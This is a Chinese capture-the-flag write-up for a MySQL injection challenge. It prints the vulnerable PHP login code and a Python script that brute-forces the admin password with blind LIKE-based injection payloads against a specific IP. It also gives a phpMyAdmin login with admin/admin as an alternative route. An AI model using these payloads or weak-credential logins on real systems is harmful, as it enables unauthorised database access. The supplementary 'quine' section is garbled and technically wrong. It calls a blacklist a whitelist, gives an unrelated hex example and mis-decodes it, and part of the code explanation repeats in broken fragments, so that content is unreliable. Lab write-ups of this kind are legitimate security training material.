[第五空间 2021]yet_another_mysql_injection
f12发现hint/?source
访问之后直接给出源码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
通过这段代码可以知道,我们需要传入username
和password
两个值,然后在经过password检验的时候会到达checkSql
函数,而且这个函数过滤掉了大部分常用的sql注入关键词
关键是
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
代码解释:
- 使用变量 s q l 存储一个 S Q L 查询语句,该查询语句从名为 " u s e r s " 的数据库表中选择名为 " p a s s w o r d " 的列,其中 " u s e r n a m e " 列的值等于 " a d m i n " ,并且 " p a s s w o r d " 列的值等于变量 sql存储一个SQL查询语句,该查询语句从名为"users"的数据库表中选择名为"password"的列,其中"username"列的值等于"admin",并且"password"列的值等于变量 sql存储一个SQL查询语句,该查询语句从名为"users"的数据库表中选择名为"password"的列,其中"username"列的值等于"admin",并且"password"列的值等于变量password的值。
- 使用mysqli_query函数执行SQL查询,并将结果存储在变量$user_result中。
- 使用mysqli_fetch_array函数从查询结果中获取一行记录,并将其存储在变量 r o w 中。这个 row中。这个 row中。这个row数组包含了从数据库中获取到的"password"列的值。
所以我们的目的就是找到admin
对应的password
虽然checkSql
已经过滤掉了大部分的关键词,但是like /**/ ' %
都没有被过滤,可以编写脚本爆破密码 ,我这里直接找了一个师傅的脚本
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28610/index.php"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()
爆破出来密码
登录后得到flag
补充:
本题考察的是quine方法
quine方法
Quine 方法是一种用于绕过基于白名单(whitelist)的 SQL 注入防御措施的技术方法。白名单是一种更安全的防御措施,它会检查用户输入中是否包含一些特定的字符或字符串,并只允许这些字符或字符串被用于查询。这样可以防止一些恶意的操作和语句被执行。
Quine 方法是通过构造一些特殊的查询语句来绕过这种白名单防御措施。例如,在执行查询时,攻击者可以构造以下语句来绕过白名单:
SELECT column_name FROM information_schema.columns WHERE table_name='users' AND column_name LIKE 0x2575716572795f646574656374
在这个语句中,攻击者使用了 HEX 编码来表示 LIKE 运算符右侧的字符串,这个字符串实际上是 “unique_detect” 的 HEX 编码。由于白名单只允许使用特定的字符或字符串,而不允许使用特定的运算符或操作,因此攻击者可以使用这种方法来绕过白名单的限制,从而执行恶意的操作。
具体可看 NSS日刷-[第五空间 2021]yet_another_mysql_injection-Qunie
脚本出处:[第五空间 2021]yet_another_mysql_injection
方法二:
用dirsearch扫一下,可以看到有/phpmyadmin
路由
直接访问,弱口令试一试就过了,账号admin
密码admin
从这里可以看到admin
对应的password
,然后返回登录就可以得到flag